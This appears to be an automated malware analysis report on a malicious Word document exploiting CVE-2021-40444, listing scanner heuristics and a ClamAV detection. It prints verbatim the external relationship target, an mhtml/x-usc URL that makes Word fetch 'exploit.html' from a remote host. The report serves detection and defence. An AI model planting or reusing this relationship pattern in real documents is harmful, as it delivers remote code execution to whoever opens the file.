Malicious Office (OOXML) / .DOCX — malware analysis report

Heuristics 4

• External OLEObject gadget — CVE-2021-40444 critical CVE exact CVE_2021_40444
  External relationship to mhtml:http://172.16.100.31:8081/exploit.html!x-usc:http://172.16.100.31:8081/exp — exploitable external OLEObject gadget pattern for CVE-2021-40444
• ClamAV: Doc.Exploit.CVE_2021_40444-9891528-0 critical CLAMAV_DETECTION
  ClamAV detected this file as malware: Doc.Exploit.CVE_2021_40444-9891528-0
• External relationship high OOXML_EXTERNAL_REL
  External target in word/_rels/document.xml.rels: mhtml:http://172.16.100.31:8081/exploit.html!x-usc:http://172.16.100.31:8081/exploit.html
• Embedded URL info EMBEDDED_URL
  One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
  URL http://172.16.100.31:8081/exploit.html!x-usc:http://172.16.100.31:8081/exp OOXML external relationship

  • http://172.16.100.31:8081/exploit.html!x-usc:http://172.16.100.31:8081/exploit.htmlOOXML external relationship

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